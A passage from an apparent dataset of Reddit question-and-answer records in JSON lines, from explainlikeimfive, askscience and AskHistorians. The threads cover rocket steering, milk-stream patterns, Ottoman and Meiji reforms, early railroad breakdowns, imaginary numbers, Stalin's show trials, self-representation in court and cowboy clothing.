to both sides of the boarder. Similarly closing down factories and schools will have a huge impact on the productivity and therefore how much resources is available. But if efforts to contain the infection otherwise have been successfull then it may not be necesary. There was also a fear early on that if we contained the virus too much we would have to live with the measures for longer then necesary causing even bigger economic issues, however countries that adapted this idea have now all returned to strong measures as their hospitals quickly filled up with critical patients as the virus spreads very quickly if it is not controlled."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9mrgwc", "title": "why the spacex rocket trails look like this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9mrgwc/eli5_why_the_spacex_rocket_trails_look_like_this/", "answers": {"a_id": ["e7gshyf", "e7gsqx7"], "score": [3, 2], "text": ["Those pulses are from thrusters periodically readjusting the alignment of the rocket. They use what spacex calls cold gas thrusters which use compressed nitrogen gas to nudge the rocket into the desired orientation. They are used along with the fins to keep the booster so that it doesn't spin uncontrollably or burn up in the atmosphere as well as keep it on track for landing at the designated location.", "When the stage 1 rocket separates, it changes course to go back to launch pad.   So it needs to be going at a reverse trajectory that doesnt match it's orientation.  The rocket has to reorient  backwards then fire it's rockets to reduce it's forward velocity and go backwards, then reorient so the tail faces the trajectory so it can use it's stabilizing fins and its slow down burn later. The spiral trails are the rocket reorientating so the tail end faces the direction of travel.  \n\nOnce orientation is established, the engine pulses coincide with each other because orientation matches trajectory so you see the circles in circles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5gg0f7", "title": "how are space rockets steered? i don't see any fins or flaps like on a plane", "selftext": "Do the engines move to direct the rocket? What's to keep them from getting off course?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5gg0f7/eli5_how_are_space_rockets_steered_i_dont_see_any/", "answers": {"a_id": ["darwvgm", "daryvyj"], "score": [19, 4], "text": ["During launch, the engine nozzles do indeed swivel a bit to help steer-- this is called gimballing.\n\nIn space, very small thrusters pointing different directions are used to control the orientation of the spacecraft so that engine burns are made in the right direction. There is also a technique called spin-stabiliziaton, where spinning a spacecraft rapidly will keep it stable along the spin axis.", "Wings and flaps work by using air. While still within the atmosphere, you can control flight with them.\n\nWhen you're outside the atmosphere, you use the engines, maneuvering thrusters (small rockets placed around the craft) or gyro stabilizers.\n\nGyro stabilizers work well for things like sattelites, which are smaller. For larger craft like the space shuttle, you needed the thrusters to turn the ship.\n\nThe downside of thrusters is that you need fuel.\n\nAnd finally, in space you don't 'steer' like you do anywhere else. It's more like a very finely calculated bank shot, off multiple curved surfaces, to hit a moving target. You give a push in a certain direction with a certain speed, and then you 'fall' away towards your target."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "34ne9l", "title": "What causes X shaped lines on the stream when I pour milk?", "selftext": "I've noticed that when I pour milk (I think it's any liquid but its most obvious when I'm pouring milk out of the gallon container) that there are X shapes that form likes indented ridges on the stream that is pouring out of the mouth of the container. Why does this happen?\n\n_URL_0_\nYou can see the lines that I'm talking about in this picture. \n\nEdit: Thank you guys for all the helpful answers! This has been something I've wondered about for ages, and I just used to go \"eh, physics\" but last night I spent a while looking up stuff about Rayleigh jet instability and waves instead of studying AP Chem, so that was pretty awesome. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34ne9l/what_causes_x_shaped_lines_on_the_stream_when_i/", "answers": {"a_id": ["cqwd0uv", "cqwd3m9", "cqwdmmb", "cqwf4k1", "cqwfj7n", "cqwg60x", "cqwgisv", "cqwn2ho", "cqwvvvy"], "score": [27, 630, 542, 13, 7, 6, 81, 2, 3], "text": ["Basically what Roy said. When you pour you imagine the fluid would want to have minimum surface area. To do that it would fall as a cylindrical stream. The milk jug though pours the steam flat, as it falls surface tension pulls the steam together to form a cylinder. But there isn't much to stop the motion and so I think the fluid keeps going and so you get a vertical line, then horizontal, vertical and so on and so forth. Like a bubble compressing and expanding under water.", "In general, fluid dynamic models are very difficult to describe using natural language. The mathematical interactions are so complex to model that fluid simulation is one of the major applications of supercomputers.\n\nThis case might be more simple, I honestly don't know, but it also might be extremely complicated to describe the \"reason\" for the shapes of streams in a moving fluid.", "Let's look at the cross section of the milk as it falls into the bowl. Take the section right at the mouth of the carton and you have a triangle of milk, 2 edges from the walls of the carton and the third being the top surface of the milk. This is the best shape for the milk to be in because it minimizes surface area, which is what surface tension does.\n\nAs soon as it leaves the carton that triangular shape is no longer the optimal shape for the surface tension of the milk, now that it's falling through the air not touching any walls the optimal shape for that cross section is a circle. The edges are gone and nothing is supporting it, so circle is the best shape minimize surface area. So the surface tension pulls in the corners of the triangle to make it round. But because it keeps pulling until the instant the corners reach the circle it should be at, the section pulls in too far and it starts [jiggling like a water droplet in space.](_URL_0_)\n\nWe can think of the cross section of the milk as a 2D jiggling drop of milk falling from the carton. In which case we can think of the stream of milk as a long line of 2D drops. And because (if you hold the carton in place) every one of those drops will be experiencing the same forces, they will all jiggle exactly the same way on the way down, making a stream of milk that bulges and dents as it flows but always stays the same shape. The Xs you're noticing are just where bulges in the jiggling drops happen to pass through one another and form an X shape in the stream.\n\nI hope that helps, or if not then someone can better translate the idea.", "I currently am taking a course in theoretical hydrodynamics, here's my take on it. I took this image as reference: _URL_0_\n\nI think this particular shape is formed by the circular opening of the jug. Imagine it a constant stream of milk, without the bowl beeing emptied, and the jug beeing kept at constant angle.\nThe milk pours out because of gravity, and the milk Flux (milk x velocity per area) is constant everywhere. Almost everywhere. In the middle of the opening milk flows out at some rate, but if you take a look at the edges of the opening, milk must flow at a faster rate because the milk in the container which isn't located right behind the opening but besides it is beeing pulled out by gravity too, thus pressure builds up (because that milk can't directly flow out of the container) and that pressure is beeing converted to velocity. \nThis means that more milk flows out at the corners of the opening, creating tube-like streams at the side of the whole stream (again, the extra milk is milk from area directly behind the opening). \nIf these streams hit, they form a stream which looks like it was rotated by 90\u00b0. \n\nThis can probably be explained because of the symmetry : both tube streams have the same velocity towards each other and have equal amounts of fluid, if they hit the inner milk particles form a \"wall\", each subsequent particles hitting that Wall will loose their velocity in that direction and flow off from that wall, creating tube like streams on each side again. Any irregularity from this model may be attributed to a not symmetrical container, or the fact that the fluid in the middle of the opening also is deeper than towards the corners of the opening which might add some velocity profile of its own. \n\n\nEdit: Saying that pressure is beeing converted to velocity might be misleading because milk is pretty much incompressible but I thought it might help the imagination. ", "Fluid flows are systems with near infinite degrees of freedom. Most flows have known instabilities which when prodded can lead to very dramatic behaviour. Here is a nice [video](_URL_0_) on the topic. When you see waves, filaments etc and their breakup in fluids it's usually because of some kind of instability.\n\nThe study of instabilities is pretty popular in current fluid mechanics research. Supercomputer based simulations are great and all but DNS and LES give you shit tones of data you often need to spend months analysing. Linear stability theory lets you do a lot of cool stuff on a standard desktop with some neat mathematical tricks. \nMatthew Juniper's webpage is a good place to start if you're interested. He's also a nice guy.\n\n_URL_1_", "Surely it has to do with conversation of the wide area of the jug , which allows for a multitude of various \"streams\" per say of fluid, into the narrow gap near the end.\n\nThe \"streams\" out the outside of the jug, closer to the edges converge and maintain velocity as they are held together via surface tension and cohesion to the more central collection of \"streams\". This velocity is continued as these collective streams hold together and are shot of out the jug, the momentum causes these streams to move in directions  diagonal to the central ones, yet the force of the surface tension and cohesion is enough to hold it together.\n\nI know this sounds weird and vague, I tried to make a visual model:\n\n_URL_0_", "There is so much terrible science here. Source: Princeton Engineering grad.\n\nSurface tension is irrelevant. As is Reynolds number or turbulence. The mouth of the container plays a part, but this isn't a phenomenon unique to round openings. \n\nThe natural phenomenon you are observing is the same thing that creates whitewater rapids. You're seeing waves that are trying to propagate on the surface of a shallow fluid, but because of the depth of the fluid and the rate at which it's flowing, those waves can't propagate upstream. This is called a Critical or Supercritical flow. \n\nYou measure the criticality of a flow by calculating its Froude Number. That's a ratio of a flow's depth, density, and speed (note that surface tension is conspicuously absent). \n\nIt's kind of a 2-D version of Supersonic flow (which is determined by Mach Number). This is kind of like what you would see in a supersonic wind tunnel (kind of). Or the characteristic diamonds in the afterburner of a jet when it takes off. \n\nThe \"X\" you're seeing is the interference of two waves caused by the two edges of the bottle's opening. Those edges effectively perturb the flow. In still water, those perturbations would travel outward in concentric circles at some characteristic velocity determined by the depth of the fluid. However, those waves are happening on a flowing fluid, so they get pushed downstream, build up on one another, and look like a V or an X. \n\nThe next time it rains, look at the rain flowing in a shallow street gutter, and you'll see the same V's and X's downstream of any pebble or twig in the gutter!\n\n", "If you were to pour a single \"drop\" it would conform to the lip shape and then try to get to a more spherical configuration as it falls. It overshoots and then oscillates between the two extreme ovaloid shapes, its shape being influenced more by the air the longer it falls. The stream is like a 4D projection of this process, it is literally a stream of drops each going through the same process, a small step ahead of the next. You can play with a regular hose, stopping and resuming the flow to see the individual blobs of water as they ondulate in the air. ", "There's a lot of fanciful explanations being presented here, but there is a very simple explanation for the observed shape that requires no invocation of surface tension or waves. Henry Stommel commented on this years ago; basically the fluid in the jet leaving the spout has maximum speed in the middle and lower speed closer to the edges of the spout (due to friction). As gravity acts to cause the fluid to fall after leaving the spout, the faster fluid in the jet will sink slower than the fluid that has been in contact with the walls of the spout. Hence the two sides of the flow will fall more rapidly than the faster central part, creating the pattern you observe.\n"]}, "title_urls": [], "selftext_urls": ["http://thumbs.dreamstime.com/x/pouring-milk-10644784.jpg"], "answers_urls": [[], [], ["https://youtu.be/jn5KuSHguUE"], ["https://produceonparade.files.wordpress.com/2013/05/pour.jpg"], ["http://youtu.be/yutbmcO5g2o", "https://camtools.cam.ac.uk/wiki/site/c273ad86-91fe-46f8-0023-1b87d4b7eeb6/fundamentals%20of%20flow%20instability.html"], ["http://imgur.com/kAxwo4M"], [], [], []]}
{"q_id": "3x8gpd", "title": "Why did the Tanzimat reforms fail to modernize the Ottoman Empire while the Japanese Meiji era reforms succeed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3x8gpd/why_did_the_tanzimat_reforms_fail_to_modernize/", "answers": {"a_id": ["cy2n1bl"], "score": [147], "text": ["In many ways the Tanzimat reforms DID succeed in modernizing the empire, especially if we don't take the traditional end date of the reforms (the promulgation of the 1st constitution in 1876) and include Abd\u00fclhamid's and the Young Turk's continuing reforms, many of which were in the same vein as the original Tanzimat. If you want to look at just about any aspect that we would consider \"modernizing,\" the Ottoman Empire made continual progress throughout the latter part of the nineteenth and early twentieth centuries. They enacted many liberal reforms (rolled back under Abd\u00fclhamid but reinstated after his overthrow), dramatically reorganized governance so that Istanbul was calling the shots, instituted widespread education for boys AND girls, instituted a modern conscription system that equipped their men with modern weapons (while the Ottomans lost wars like the 1877-78 Russo-Turkish War and the 1912-13 Balkan Wars, they also won some against Greece in the same period. And it's not like the Russians or Balkan powers totally steamrolled the Ottomans, there were several important successes for the Ottomans in each war, and the general consensus is they lost those wars due to poor planning and leadership rather than inferior arms), and the economy dramatically expanded. A lot of that wealth was funneled out of the country because of poor financial planning, especially immediately following the Crimean War, but that doesn't mean there wasn't a dramatic uptick in various economic activities, particularly in agriculture. Culturally, the Ottomans were training modern doctors, witnessing an explosion of printed materials, and engaging with the scientific discussions of the day.\n\nI think the main difference is that while the Japanese were literally doing this on the far side of the world, the Ottomans were doing it in the backyard of the major European powers. When the Japanese defeated the Russians in 1904-1905, the Japanese defeated the Russian fleet. The Russians sent their Baltic fleet, which took SIX MONTHS to sail to Japan, where it was promptly defeated. Compare this to the Russo-Turkish War, where the main body of the Russian army was able to invade both sides of the Ottoman Empire at the same time. (Incidentally, the Ottomans were very much inspired that the Japanese had such success with their reforms, and the Young Turks used it as a motivational tool to demonstrate that they could, too.) The Austrians were able to annex Bosnia, because it was right on their border. The British could get to Egypt in 5 days under steam. The list goes on. In any conflict with the Europeans, the Ottomans were immediately under massive threat. Invading Japan was a massive logistical problem. \n\nThat is just the logistical difference. The Ottomans declared bankruptcy in 1875, after taking on a ton of bad loans after the Crimean War. The European creditors set up a Public Debt Administration that took first crack at Ottoman tax revenues to make sure the creditors got paid. This was on top of a number of unfavorable trade agreements known as the Capitulations. In early modern times, the Ottomans gave them as favors from a position of strength. By the 1800s, they were traded for European support, such as granting the British a massive break in tax on British goods in 1838 in exchange for British help against the rebellious Mehmet Ali Pasha of Egypt. Anyways, the Europeans had their fingers firmly in the Ottoman financial pie, which they could enforce because of their close proximity. This does not even take into account the practice of European nations giving their citizenship to local Ottoman Christians, which meant many of the most economically productive of the empire's citizens could not be taxed by Istanbul.\n\ntl;dr: The Tanzimat reforms DID modernize the Ottoman Empire, but close proximity top Europe meant they could not escape ruinous European influence. Japan was far and relatively free to do what they needed to do. I would love to get a Japan expert in here to get that perspective!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2pv4iv", "title": "In the early days of the railroads, how did it go when trains broke down in the middle of nowhere?", "selftext": "I was just watching a movie that took place in the 1800's and the train was travelling long distance in the winter. It got me wondering what would happen if the engine broke down, and they were left in the cold?\n\nWhat would the procedures have been?\n\nHow prepared were the railroads for something like this, as far as finding ways to keep the passengers warm, safe, fed, with water, etc?\n\nDid they send out parties to get help, if possible?\n\nAre there any cases of it happening, and if so, did it ever turn into disaster? Were people ever stranded for days/weeks/longer at a time?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pv4iv/in_the_early_days_of_the_railroads_how_did_it_go/", "answers": {"a_id": ["cn0hr9m"], "score": [68], "text": ["Yes, early trains did break down, (As all present day *\"modern\"* transportation still does, remember, that trains in the 1800's were *\"modern\"* transportation). The procedures for break downs on trains were as varied as the type of break downs that could occur with the technology of the time period. \n\nRemember that trains were very seldom, in the modern sense, \"In the middle of nowhere\". The engine needed a constant resupply of fuel (Usually Coal,) and water for the boiler. A relatively large supply of these things were often carried behind the engine in a Tender Car, but still, the Tender Car also had to be resupplied, so the railroad had resupply stations (Train Depots) built at fairly regular intervals along the route. \n\nHow did it go when you broke down somewhere between Depots? The first procedure would be for the train personnel to try and repair the problem and limp into the nearest station. If that wasn't possible, (damaged track, train snowed in), Then the a crewman would go for help. The Conductor was basically the Captain of the train, he would take charge of the emergency procedures, see to the safety of the passengers and freight, and would send a man up or down the track to bring help. It was usually better for the one going for help to head for the trains destination depot, because if the train was really (many hours) late, the Depot master would be required/inclined to send a horseback rider down the track to find out what the problem was.  \n\nKeeping passengers warm during colder months? Passenger cars were built with small coal stoves in one corner of the car. _URL_2_   In the winter months, seating near this heat source would have been the their equivalent of a modern day \"First Class\" airline ticket.\n\nFood, Railroads didn't start supplying food/dining cars until about the end of the civil war, and they were still uncommon going into the 1880's. Passengers either ate at the (sometimes sketchy),  establishments at the train stops, or, more commonly brought a carry on meal with them into the passenger car, so, in a long breakdown, having your own food could be a valuable resource. \n\nSource...  _URL_0_\n\nHere's a rather good story of a famous (To some...) train stranded in the snow. Courtesy of the **Central Pacific Railroad History Museum**.   \n\n_URL_1_\n\nKeep in mind that this was in 1952! One can imagine what kind of effort it would take to recover from something like this 100 years previous to this incident.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://pafoodways.omeka.net/exhibits/show/table/articles/dining-on-the-railroad", "http://cprr.org/Museum/Stranded_Streamliner_1952/", "http://imgur.com/xBZcLYH"]]}
{"q_id": "1lgewv", "title": "counterpoint", "selftext": "and why is it so important for composers to be trained in counterpoint.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lgewv/eli5_counterpoint/", "answers": {"a_id": ["cbyz8al"], "score": [2], "text": ["\"Counterpoint\" is the idea of having *different* themes that are independent of each other, but can be played together and still sound harmonious.\n\n[Here is a very good video](_URL_0_) on the subject.\n\nIt's importance to music is like the importance of *any* creative 'rule'. You have to understand the conventions in order to manipulate/break them effectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=BixPLIWcb0s#t=50"]]}
{"q_id": "65gxtd", "title": "what is meant by \"spider web an inch thick could stop a jet\"? would it be like hitting a wall or would it just slow it down to a gradual stop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65gxtd/eli5_what_is_meant_by_spider_web_an_inch_thick/", "answers": {"a_id": ["dga7mbj", "dgaf3os"], "score": [19, 2], "text": ["It would be gradual. Spider webs are pretty fascinating, they actually have coils of web spread out along the length of each thread (too small to see with the naked eye) and when a bug flies into them the coils unravel and the web becomes longer. When the impact force has been dissipated the \"knots\" recoil and the web looks just like it did before.", "It would have to stretch out as it gradually (but quickly) slowed down the plane. Think of the arresting cables on an aircraft carrier. If they were made of spider silk instead of steel, they'd only need to be an inch thick. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ld5ii", "title": "the purpose of the rosetta space mission", "selftext": "Why are we landing on a comet essentially?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ld5ii/eli5the_purpose_of_the_rosetta_space_mission/", "answers": {"a_id": ["cltmhvi", "cltmi8l"], "score": [2, 2], "text": ["Unsurprisingly, scientists want to learn more about comets. A better understanding of composition, formation, structure, the presence of organic compounds.\n\nThe latter may also help scientists to understand some details about the formation of life on earth, both by giving us a look at relatively undisturbed early organic compounds, and cluing us in on the contribution comets may have made.", "* Because we have the opportunity\n\n* Because we want to know more about comets\n\nbut mostly\n\n* Because we would like to mine comets for resources."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1xhozi", "title": "The imaginary unit \"i\" satisfies i^2 = -1, are there any other numbers invented to satisfy otherwise impossible criteria?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xhozi/the_imaginary_unit_i_satisfies_i2_1_are_there_any/", "answers": {"a_id": ["cfbfoos", "cfbgd9l", "cfbi7ok", "cfbikr3", "cfbji34", "cfbl8fz", "cfc4qgy"], "score": [60, 20, 4, 5, 9, 7, 3], "text": ["Sometimes, you start with a number system and see what you can do in that number system.  Sometimes there are things that can't be done (they are impossible *with respect to that number system*), and so you define a new extended number system for which that operation is possible.\n\nSuppose you start with the whole numbers 0, 1, 2, 3, 4, 5, etc.\n\nAddition and multiplication of whole numbers always produce whole numbers.  Subtraction sometimes does (5-2) but sometimes it is not defined (4-5).  However, we can define the number -1, so that 4-5 is defined.  And now, if we see what addition and multiplication lead to with this number added, we wind up with the integers (..., -3, -2, -1, 0, 1, 2, 3, ...).  So by adding negative numbers, we can now solve any subtraction problem among the whole numbers and, in fact, among the integers.\n\nFractions appear similarly.  12/4 is defined if you're just using integers, but not 2/7.  So we add the rational numbers so that division becomes possible for any integers *a* and *b* (except for dividing by 0).\n\nBut still some equations don't have solutions when you have the rational numbers.  For example, we can't solve x^(2)=2 just using the rational numbers.  So add sqrt(2), and now, if we allow addition, multiplication, subtraction, and division, we'll have to include numbers of the form *p*+*q* sqrt(2), where *p* and *q* are rational numbers.  We can similarly add roots of other numbers to make other equations soluble.\n\nReal numbers are introduced so that a certain class of limiting operations always produces a value.  Other limiting processes lead us to define objects called the p-adic numbers.\n\nIn short, notions of what can and cannot be done depend on your number system, and we have regularly extended our number systems to make more things possible (that is, to make it so that a given operation always yields a result in the number system in which you started).", "In a way, all numbers are like this.\n\nIn the case of the complex number system, extensions arise out of operations that have no inverse within the system. For example, the negatives come out of the inverse to addition (subtraction- what the heck do you get when you take away 10 from 4? Ok, let's invent negative numbers.) You can do this for all the types of numbers- \n\nRational - inverse to multiplication. (What the heck should 3 divided into 4 pieces be?)\n\nIrrational - inverse to exponentiation. (What the heck is the square root of two, or three for that matter?)\n\nImaginary - same source. \n\nBut specifically, to answer your question, the answer is yes.\n\nQuaternions are a fascinating extension of the complex plane into 3 dimensions. \n\n_URL_2_\n\nThere is also a little known type of calculus that invents a new type of number called the infinitesimal - a number defined as being so small that there is no number large enough with which you can multiply it and get 1!\n\n_URL_1_\n\n\n_URL_0_", "Actually, i was not introduced merely to have a solution to the equation x^2 =-1.  Instead, it was found that working formally with square roots of negative numbers allowed for a solution to the cubic equation (similar to the quadratic formula for solutions to quadratic equations).  I'm not sure why people spread the notion that i was invented just to have a number such that i^2 =-1. But the history is more interesting than that, and more can be read [here](_URL_2_).  \n\nTo answer a related question. Mathematicians do even now occasionally introduce alternate notions of what a solution of an equation is, when the original notion of solution cannot be found. This especially arises in the study of partial differential equations with classical, strong, [weak](_URL_3_), and [viscosity](_URL_1_) solutions. I couldn't find a good online reference to the distinction between strong and classical solutions, except briefly [here](_URL_0_).", "I recall reading a short paper back in undergrad (many years ago) where they started with the \"hallucinatory\" number, where\n\n|h| = -1\nwith || implying magnitude, or absolute value.\n\nand they then looked at the implications.  The unit shape was not a circle, but a hyperbola.  They then went and redeveloped special relativity using this.  It was done more as an intellectual exercise than anything else, but it was an interesting paper to this undergrad physics/math double major.", "Field Theory, a branch of mathematics, is concerned with this type of problem in the context of polynomials. We're often asked to find the root of a polynomial that doesn't exist, so we \"extend\" our field (numbers in consideration) to find a new solution. For instance, the equation x^2  - 2= 0 has no solution in the rational numbers (i.e. fractions), but in the real numbers, the solution is x = sqrt(2), which can't be expressed as a ratio. In Field Theory, we say the real numbers are an extension of the rational numbers. Likewise, the complex numbers are an extension of the real numbers, because the complex numbers contain a solution to the equation x^2 + 1 = 0. Field Theory, and the rest of modern algebra, is concerned with taking questions rooted in high school algebra and generalizing them to a context where the \"variables\" aren't necessarily numbers.\n\nThere's also the question of how one actually constructs a new number out of the old ones. For instance, if all you know about are the integers, how can you \"define\" what 1/2 is? The construction of our familiar number systems is a complicated process, which you can read about [here](_URL_0_), but I will say that the challenge is defining the new number system in such a way that it obeys our familiar intuition. In other words, we would like the rational numbers to conform to our intuitive notions of adding and multiplying fractions.\n", "\"Imaginary\" is the worst name for these numbers.\n\nThere are lots of numbers that are equally \"imaginary\". Negative numbers, for example. Invent an \"imaginary\" number such that adding it to 1 equals zero. Irrational numbers: invent a number defined as the ratio of the circumference of a perfect circle to its diameter. Or: invent a number defined as the square root of 2. There is no rational number that, when squared, is exactly equal to 2.\n\nDoes that make these numbers unreal or \"imaginary\"? Hardly, they are valid numbers with abstract definitions, that's all. There are ways to make negative numbers \"real\" (with temperature or position relative to a point), but there are ways to make \"imaginary\" numbers \"real\" as well (with complex numbers as coordinates, or impedance in electrical circuits).", "I feel that everyone stresses the analytic importance of \"i\" but here is a nice geometric understanding of why it is interesting.\n\nFirst note that multiplication can be thought of as rotation and dilation. Indeed, multiplication by a positive number scales the given input by some amount.  For example 5 x 2 can be thought of as scaling 2 by 5 times and not rotating at all. On the other hand -5 x 2 is scaling 2 by 5 times and rotating it by 180 degrees (imagine the real number line and rotate from the positive direction to the negative direction). Now, it is *geometrically* clear that the number line is simply not enough to describe all the sorts of dilations and rotations we might want to access. First of all, what if I want to rotate by 90 degrees an not 180? In such a case we are searching for a number which, when applied twice, will create a 180 degree rotation. Indeed we can call this number \"i\" and it follows that \"i\" serves the purpose of i^2 = -1.\n\nThe truly marvelous thing here is that we can somehow get **all** other rotations and scalings from just this single new rotation!\n\nWith this in mind, it is clear that mathematics does not invent numbers for no good reason. In fact constructions are important to build tools and language for inherently clear problems. These types of abstract constructions give rise to, for example, number fields which have huge implications in internet security and code breaking! (e.g., [elliptic curve cryptography](_URL_0_))"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.m.wikipedia.org/wiki/Hyperreals", "http://en.m.wikipedia.org/wiki/Non-standard_calculus", "http://en.m.wikipedia.org/wiki/Quaternion"], ["http://math.stackexchange.com/questions/162353/define-strong-solution", "http://en.wikipedia.org/wiki/Viscosity_solution", "http://www-history.mcs.st-andrews.ac.uk/HistTopics/Quadratic_etc_equations.html", "http://en.wikipedia.org/wiki/Weak_solution"], [], ["http://en.wikipedia.org/wiki/Construction_of_the_real_numbers"], [], ["http://en.wikipedia.org/wiki/Elliptic_curve_cryptography"]]}
{"q_id": "3tfm05", "title": "Did anybody ever go against the script in Stalin's show trials?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3tfm05/did_anybody_ever_go_against_the_script_in_stalins/", "answers": {"a_id": ["cx5wtzk"], "score": [16], "text": ["I haven't come across any incidents of that happening within the Soviet Union itself (though keep in mind that lack of evidence isn't evidence of lack), but there was an example of it happening in Soviet dominated Bulgaria.\n\nAfter the Soviet-Yugoslav split, Stalin became extremely concerned about other Communist nations in Eastern Europe taking similar actions - e.g. rejecting Soviet leadership and implementing alternative economic development plans/reforms. In order to preemptively combat \"Titoist\" tendencies, Stalin pushed the Eastern European countries to perform their own purges in the late 1940s / early 1950s.\n\nThe example I encountered is that of Traycho Kostov, a member of the Bulgarian politburo. During the show trial he repudiated his confession, which led to the radio broadcast of the trial to be halted and the simultaneous translation service offered to foreign journalists encountered \"technical difficulties\". Supposedly he repudiated his repudiation shortly before his execution.\n\nThe general trend though seems to be that the confessions had been strongly drilled into the victims of the show trials. Another incident that belied the nature of the show trials was that during a similar Titoist purge conducted in Czechoslovakia, the judge questioning Rudolf Sl\u00e1nsk\u00fd missed a question on the transcript, but Sl\u00e1nsk\u00fd responded to the missing question with the pre-assigned answer. \n\nDuring the Moscow Show Trials in the Soviet Union, the coordinated nature and corroboration between the victims' confessions actually convinced some Western observers of the victims' guilt. Some prominent sympathetic European socialists also supported the results of those trials. For example the prominent Fabian Beatrice Webb wrote in the second edition of \"Soviet Communism: A New Civilization?\" (1937), that the show trials had helped \"cut out the dead wood\" within the Communist party.\n\nSource: The Rise and Fall of Communism by Archie Brown"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ccs075", "title": "how are you able to represent yourself in a court of law without passing the bar or being able to practice law?", "selftext": "Bonus Question- if you won the case, why couldn't you then represent others?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ccs075/eli5_how_are_you_able_to_represent_yourself_in_a/", "answers": {"a_id": ["etowr8r", "etoxwth", "etozkf2", "etp4ea7", "etp6now", "etpthe0", "etq3u1c"], "score": [19, 9, 5, 3, 6, 4, 4], "text": ["An individual has the right to a qualified legal defense of some kind, but that also means the individual has the right to forego that qualified legal defense, regardless of how much you know about the law. That is your right because you can't be expected to give up some amount of free speech to a third party to speak for you at a trial. \n\nIf somehow you did win the case, that doesn't mean you are qualified by government standards to practice law. There are many ways a person defending his or herself could win a case without knowing a single thing about the law. \n\nThe same can be said about medicine - you can disinfect a wound, but that doesn't make you a qualified surgeon.", "Poorly, generally.\n\nThe information is out there, but there's a reason why legal training takes years: the law is big and complex, and while you may strike upon the perfect argument, you also need to know the formalities of what you can and can't do in order to make your case or else risk having your evidence thrown out altogether. As the saying goes, a man who represents himself has a fool for a client.\n\nAs to why you're allowed to, it's because you can't be forced to let anyone else speak on your behalf; it would fly contrary to pretty much every principle of free speech to say that you can't speak in your own defence when accused of a crime. That's why you can... even though it's generally not considered a great move.", "The court can't forbid you from representing yourself.  But they can forbid you from representing anyone else unless you have the proper qualifications.", "For low level things it is fine, but if you are being sued or find yourself being charged with a felony then the judge will often insist that a court appointed or personally hired lawyer to sit second chair. You *do have the right* to represent yourself but the judge has to make sure that you are getting effective assistance of counsel.", "Had a crazy neighbor who did everything *pro se* as a stalling tactic.  The court gave her lots of procedural leeway which she actively used against opponents to delay, cause extra motions etc which made going after her ridiculously expensive. Most would then offer to settle.", "If you are injured, then you have every right to patch yourself up as best you can. But if someone wants to heal injuries professionally, then we insist that they go to medical school and get a professional license.\n\nSimilarly, every competent adult has the right to represent themselves in court. In fact, the word \u201crepresent\u201d here is almost meaningless \u2014 you *are* yourself, and you are definitionally capable of speaking for yourself. But we have strict standards for speaking for *other people*, just like we have strict standards for performing surgery on other people, and for the same reason: the consequences of doing it badly are potentially life-altering, and so we demand a high baseline degree of competence.", "It\u2019s a backwards way to look at the problem.\n\nWe started from the idea that a person should be responsible for defending themselves.  It quickly became apparent that a person who did so - usually with no training or knowledge - was at a severe disadvantage.  So the courts ruled that everyone should be given a lawyer in an attempt to make things fair.\n\nSo representing yourself came first, and only later did the idea of lawyering come about.  Another way of looking at it might be to assume that representing oneself is the default, and it is only recently that lawyers became de facto mandatory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "d3zezb", "title": "What kind of pants did cowboys wear?", "selftext": "I blame it all on video games but in my head I picture most cowboys wearing something pretty similar to modern blue jeans, but then I start up a game of Red Dead 2 and can't find anything like that so I can't tell which game to believe.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d3zezb/what_kind_of_pants_did_cowboys_wear/", "answers": {"a_id": ["f07hon3"], "score": [3], "text": ["There's certainly more to be said, but you might be interested in my previous answer to [How did jeans become the institution they are today?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/bqezw1/how_did_jeans_become_the_institution_they_are/eo6h8t3/"]]}
